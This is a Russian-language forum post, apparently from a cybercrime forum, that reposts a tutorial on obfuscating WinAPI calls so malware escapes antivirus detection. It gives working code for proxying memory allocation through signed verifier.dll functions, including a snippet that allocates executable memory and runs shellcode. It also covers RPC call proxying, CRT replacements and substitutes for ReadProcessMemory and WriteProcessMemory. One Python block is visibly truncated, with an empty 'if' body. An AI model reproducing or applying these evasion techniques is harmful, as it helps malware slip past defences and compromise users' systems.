• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Обфусцируем вызовы WinAPI новыми способами

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Все крутые вредоносы стараются прятать использование вызовов WinAPI, ведь наличие подозрительных функций в коде может привести к блокировке исполнения нашей программы. Существует не так много документированных способов скрыть вызовы WinAPI, однако у меня есть пара любопытных разработок, и я готов ими поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонентов Windows и даже немного затронем RPC.

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как ты знаешь, любой, даже самый страшный «вирус» — это обычная программа, которая использует те же механизмы и функции, что и легитимный софт. Можно сказать, идет злоупотребление функциями, доступными любому разработчику. Иногда встречается абуз недокументированных возможностей. Одним словом — хакерство!


Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся, применять Для просмотра ссылки Войди или Зарегистрируйся и предотвращать Для просмотра ссылки Войди или Зарегистрируйся.

Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!

Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Для просмотра ссылки Войди или Зарегистрируйся про шелл‑код‑раннер на чистом C#. И это возможно! Существует несколько техник, позволяющих идти обходным путем, не затрагивая «подозрительные» методы или всячески скрывая их использование.


Проксирование вызовов​


Теория​

У западных коллег эта техника называется Proxy Invoke. Она основана на том, что хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя» вызов. Фактически идет злоупотребление чужими обвязками над существующими методами.

Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся

www​

Интересное по теме:
Нас интересует этот: VirtualProtect API Call from an Unsigned DLL. Логика детекта проста: если функция вызывается из адресного пространства неподписанной библиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей программы? Явно что‑то нечисто...

Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.

Был такой поток управления:

malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:

malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Для просмотра ссылки Войди или Зарегистрируйся. Однако он работает только с программами на C#.

С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Для просмотра ссылки Войди или Зарегистрируйся. Конечно, там еще использовалась подмена оригинального метода, однако логика осталась схожей: имитация активности, происходящей из легитимного модуля.


Обнаружение прокси-функций​

Таблица экспортов/импортов​

Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том, чтобы быстро проанализировать все существующие в системе подписанные DLL и определить использование в них функций, до которых мы можем дотянуться. Варианта два.

  • Можем идти от таблицы импортов. Например, видим импорт ZwProtectVirtualMemory(), после чего находим место, в котором эта функция дергается, и смотрим, есть ли возможность контроля аргументов.
  • Можем идти от таблицы экспортов. Например, видим экспорт функции AllocateAndProtectSomeMemory(), догадываемся о потенциально интересной функциональности и исследуем эту функцию.
Для подобного анализа подойдет скрипт Для просмотра ссылки Войди или Зарегистрируйся.

Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().

Для просмотра ссылки Войди или Зарегистрируйся
А так — проанализировать экспорты:

python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Для просмотра ссылки Войди или Зарегистрируйся
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Для просмотра ссылки Войди или Зарегистрируйся, разбор — в моей Для просмотра ссылки Войди или Зарегистрируйся. Но все равно как‑то много «если» и лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию, правда? А вот это уже бусидо!

Бинарный анализ​

Путь самурая — автоматизировать этап исследования бинарных файлов с помощью API какого‑нибудь декомпилера. Этот метод я стащил у чувака с ником Для просмотра ссылки Войди или Зарегистрируйся. Он использует Binary Ninja для автоматизации анализа подписанных библиотек DLL. Рассмотрим его код подробнее.

Код:
import os
import binaryninja
from binaryninja import highlevelil


signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'


with open(signed_dlls_path, "r") as f:
    signed_dlls = [dll.strip() for dll in f]


total_dlls = len(signed_dlls)


with open(signed_dlls_path, "r") as f:
    current_dll = 0
    for signed_dll_path in f:
        current_dll += 1
        signed_dll_path = signed_dll_path.strip()
        dll_name = signed_dll_path.split('\\')[-1]
        dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
        progress = f"{current_dll}/{total_dlls}"
        if dll_size_mb > 15:
            print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
            continue
        print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
        with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
            ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
            if not ntAllocateVirtualMemorySymbol:
                continue
            else:
                print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
                binary_view.set_analysis_hold(False)
                binary_view.update_analysis_and_wait()
                code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
                for ref in code_refs:
                    try:
                        func = binary_view.get_functions_containing(ref.address)[0]
                        hlil_instr = func.get_llil_at(ref.address).hlil
                        for operand in hlil_instr.operands:
                            if type(operand) == HighLevelILCall:
                                if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
                                    hlil_call = operand
                                    break
                        args = hlil_call.params
                        protect = args[5]
                        regionSize = args[3]
                        if type(protect) == HighLevelILVar:
                            if protect.var not in func.parameter_vars:
                                continue
                        if type(regionSize) == HighLevelILVar:
                            if regionSize.var not in func.parameter_vars:


                        if type(protect) == HighLevelILConst:
                            if int(protect.value) != 0x40:
                                continue
                        if type(regionSize) == HighLevelILConst:
                            if int(regionSize.value) <= 0x10000:
                                continue


                        print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
                    except Exception as e:
                        print(f"[x] [{progress}] [{dll_name}] [{e}]")
Давай разберем скрипт пошагово, тут есть несколько нетривиальных моментов.

Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Код:
import os
import binaryninja
from binaryninja import highlevelil


signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'


with open(signed_dlls_path, "r") as f:
    signed_dlls = [dll.strip() for dll in f]


total_dlls = len(signed_dlls)

Затем в цикле анализируется каждая библиотека.

with open(signed_dlls_path, "r") as f:
    current_dll = 0
    for signed_dll_path in f:
        current_dll += 1
        signed_dll_path = signed_dll_path.strip()
        dll_name = signed_dll_path.split('\\')[-1]
        dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
        progress = f"{current_dll}/{total_dlls}"
        if dll_size_mb > 15:
            print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
            continue
        print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
        with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:

Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().

Binary Ninja и BinaryView​

Здесь важно знать, что у Binary Ninja есть не только GUI, но и API, через который можно загрузить бинарный файл и провести некоторый автоматический анализ.
Бинарник будет представлен в виде объекта Для просмотра ссылки Войди или Зарегистрируйся, он же bv в документации. Он предоставляет набор методов по работе с файлом, например получение списка функций.
Код:
>>> bv
<BinaryView: '/bin/ls', start 0x100000000, len 0x182f8>
>>> len(bv.functions)
140
Через BinaryView можно извлечь класс Для просмотра ссылки Войди или Зарегистрируйся, который указывает на (неожиданно!) функцию в коде.
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:

  1. Получить BinaryView.
  2. Обнаружить, что используется нужная нам функция.
  3. Определить место, из которого вызывается нужная нам функция.
  4. Убедиться, что мы можем контролировать аргументы, передаваемые в функции.
Это все автоматизируется с помощью Binary Ninja. Сначала делаем поиск символа. Если символа нет, значит, и использования функции нет.

Код:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
    continue
else:
    print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")

Убедившись, что метод присутствует, запускаем анализ. Метод s
Для просмотра ссылки Войди или Зарегистрируйся «включает анализ», а Для просмотра ссылки Войди или Зарегистрируйся его осуществляет.

Код:
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()

После того как BN провел анализ бинарного кода, можно приступать к пункту три. Обнаруживаем места, ссылающиеся на нужный нам метод, через get_code_refs().

code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)

Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются на нужный нам метод.

for ref in code_refs:
    try:
        func = binary_view.get_functions_containing(ref.address)[0]

Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.

Код:
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
    if type(operand) == HighLevelILCall:
        if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
            hlil_call = operand
            break
Для этого мы получаем LLIL (низкоуровневое представление инструкций) по адресу, следующим шагом конвертируем в HLIL и убеждаемся по наличию операнда Call, что происходит вызов функции.

Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.

Код:
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
    if protect.var not in func.parameter_vars: # Проверка на наличие в параметрах родительской функции
        continue
if type(regionSize) == HighLevelILVar:
    if regionSize.var not in func.parameter_vars:


if type(protect) == HighLevelILConst:
    if int(protect.value) != 0x40:
        continue


if type(regionSize) == HighLevelILConst:
    if int(regionSize.value) <= 0x10000:
        continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
С помощью этого скрипта получилось обнаружить место, в котором используется функция NtAllocateVirtualMemory() внутри verifier.dll.

Для просмотра ссылки Войди или Зарегистрируйся
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().

Для просмотра ссылки Войди или Зарегистрируйся
А вот и наша NtAllocateVirtualMemory()!

Для просмотра ссылки Войди или Зарегистрируйся

Пример с DphCommitMemoryFromPageHeap​

После того как мы смогли найти нужную функцию, следует добиться передачи потока управления по этому адресу. Есть два варианта:

  • определить смещение функции относительно базового адреса загрузки DLL в памяти;
  • определить адрес целевой функции по байтовому паттерну.
Воспользуемся вторым вариантом. Здесь нам поможет IDA, а также сканирование памяти по опкодам. Начнем с определения начальных инструкций функции.

Для просмотра ссылки Войди или Зарегистрируйся
Затем переводим их в опкоды, по которым будем осуществлять сканирование.

Для просмотра ссылки Войди или Зарегистрируйся
Определяем прототип функции для вызова.

Код:
typedef int (WINAPI* DphCommitMemoryFromPageHeapFunc)(
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG Protect
    );
Добавляем код по скану памяти и передаем на функцию поток управления!

Код:
int main()
{
    HMODULE hModule = NULL;


    hModule = LoadLibraryA("verifier.dll");
    DphCommitMemoryFromPageHeapFunc DphCommitMemoryFromPageHeapWPtr = (DphCommitMemoryFromPageHeapFunc)(FindFunction(GetCurrentProcess(), GetFunctionBytes(), (uintptr_t)hModule));
    SIZE_T size = 0xABCD;
    LPVOID addr = nullptr;
    NTSTATUS err = DphCommitMemoryFromPageHeapWPtr(&addr, &size, PAGE_EXECUTE);
    std::wcout << err << std::endl;


    return 0;
}
Полный код представлен Для просмотра ссылки Войди или Зарегистрируйся. И видим результат вызова.

Для просмотра ссылки Войди или Зарегистрируйся
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.

Код:
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    ULONG_PTR *RegionSize,
    ULONG AllocationType,
    ULONG Protect
);


DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;


HMODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");


AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t)((char*)hVerifierMod + 0x25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);


this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);


(*(int(*)()) virtualMemory)();

Через RPC​

Скажу честно, проксирование через вызовы — достаточно сложный метод, объяснение которого не уместится в одну статью. По этому способу был даже представлен Для просмотра ссылки Войди или Зарегистрируйся. Однако я постараюсь описать вкратце.

При взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.

Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Для просмотра ссылки Войди или Зарегистрируйся. Внутри нее достаточно большая вложенность других структур, манипулируя которыми мы можем передать поток управления по произвольному адресу.

Для просмотра ссылки Войди или Зарегистрируйся
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Для просмотра ссылки Войди или Зарегистрируйся, а также POC на Для просмотра ссылки Войди или Зарегистрируйся.

Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.


Используем альтернативные функции​


Теория​

Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернативными функциями мы будем пытаться найти обходной путь до нужных нам возможностей. Например, вместо использования функции memcpy() собственноручно писать логику метода и копировать данные с помощью указателей, ручками. Или как вариант — обнаружить и дергать чуть более низкоуровневый, потенциально нехукнутый аналог.

В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.


Замена CRT​

Проще всего начать с замены CRT-функций. Например, так можно заменить функцию memcpy():

Код:
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
    for (volatile int i = 0; i < Size; i++) {
        ((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
    }
    return Destination;
}
Вот так — сравнение строк через wcscmp():

Код:
int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
    while (*str1 == *str2 && *str1 != L'\0') {
        str1++;
        str2++;
    }


    return *str1 - *str2;
}
А так — преобразование из нижнего регистра в верхний:

Код:
PCHAR CaplockStringA(_In_ PCHAR Ptr)
{
    PCHAR sv = Ptr;
    while (*sv != '\0')
    {
        if (*sv >= 'a' && *sv <= 'z')
            *sv = *sv - ('a' - 'A');
        sv++;
    }
    return Ptr;
}


PWCHAR CaplockStringW(_In_ PWCHAR Ptr)
{
    PWCHAR sv = Ptr;
    while (*sv != '\0')
    {
        if (*sv >= 'a' && *sv <= 'z')
            *sv = *sv - ('a' - 'A');
        sv++;
    }
    return Ptr;
}
В CRT очень много функций, и практически все возможно переписать, вручную реализовав логику их работы. Больше вариантов ищи в репозиториях Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.


Через ссылки на структуры Windows​

Обычно в Windows используются одни и те же структуры в функциях со схожей логикой работы. Таким образом, у нас появляется возможность искать похожие функции. Проще всего искать через IDE. Для этого нужно будет найти заголовочный файл, в котором есть интересующая нас структура.

info​

Искать прокси‑функции можно тем же методом, поэтому не будем останавливаться на них отдельно.
Итак, пусть у нас есть функция Для просмотра ссылки Войди или Зарегистрируйся, которая принимает структуру Для просмотра ссылки Войди или Зарегистрируйся.

Структура CONTEXT определена в файле winnt.h.

Для просмотра ссылки Войди или Зарегистрируйся
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».

Для просмотра ссылки Войди или Зарегистрируйся
Получаем большой список ссылок на эту структуру из разных функций.

Для просмотра ссылки Войди или Зарегистрируйся
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!

Для просмотра ссылки Войди или Зарегистрируйся

Изучаем COM​

Подсистема COM предоставляет нам огромное количество всяких фич. Нужно лишь изучить ее и понять ее особенности: что такое класс COM, как они регистрируются в системе, как работают интерфейсы и методы и так далее. Проштудировав это, ты сможешь обнаружить множество интересных вещей!

www​

У меня есть небольшой репозиторий Для просмотра ссылки Войди или Зарегистрируйся, который поможет тебе в изучении COM.
Например, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.

Для просмотра ссылки Войди или Зарегистрируйся

Замена ReadProcessMemory()​

Наконец, давай покажу еще пару интересных «обходных путей» для вызова функций. На текущий момент известно несколько способов замены методов ReadProcessMemory():

Первый вариант очевиден: драйвер предоставлял уязвимый метод, пригодный для чтения памяти. А вот второй чуть более сложный. Исследователь под ником x86matthew обнаружил функцию RtlFirstEntrySList(), которая получала адрес и возвращала значение по нему.

Код:
DWORD __stdcall RtlFirstEntrySList(DWORD *pValue)
{
    return *pValue;
}
Если вызывать эту функцию в удаленном процессе через CreateRemoteThread() или NtCreateThreadEx(), то можно добиться примитива чтения данных. Автор удалил PoC и статью из своего блога, впрочем, все сохранено в Internet Archive, ссылка выше.

Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().

Код:
public static IntPtr ReadMemory(IntPtr addr)
{
    var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
    var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
    IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
    for (int i = 0; i < 200; i += IntPtr.Size)
    {
        Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
    }
    return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}

Замена WriteProcessMemory()​

В той же Для просмотра ссылки Войди или Зарегистрируйся x86matthew предложил альтернативу записи в память. Она тоже основана на функциях инкремента и декремента значения по адресу. Множественными вызовами этих функций для адреса в процессе мы можем изменять значения в памяти, а значит, записывать.

Код:
LONG __stdcall InterlockedIncrement(LONG *Addend);
LONG __stdcall InterlockedDecrement(LONG *Addend);

Где искать альтернативы​

Если тебе стало интересно обнаруживать подобные возможности, рекомендую изучить блог Для просмотра ссылки Войди или Зарегистрируйся. На сайте много интересных разработок, которые можно использовать в собственном коде. Например, мы могли бы запускать процесс не вызывая напрямую CreateProcess(), а через имитацию нажатий Win-R. Согласись, это круто!


Выводы​

Обфускация вызовов WinAPI — крайне творческий и любопытный процесс. Нужно пытаться смотреть на систему под новыми углами и мыслить нестандартно. Если вдруг получается отойти от проторенной дороги, можно оказаться вне поля зрения антивирусных радаров!
 
Activity
So far there's no one here
Сверху Снизу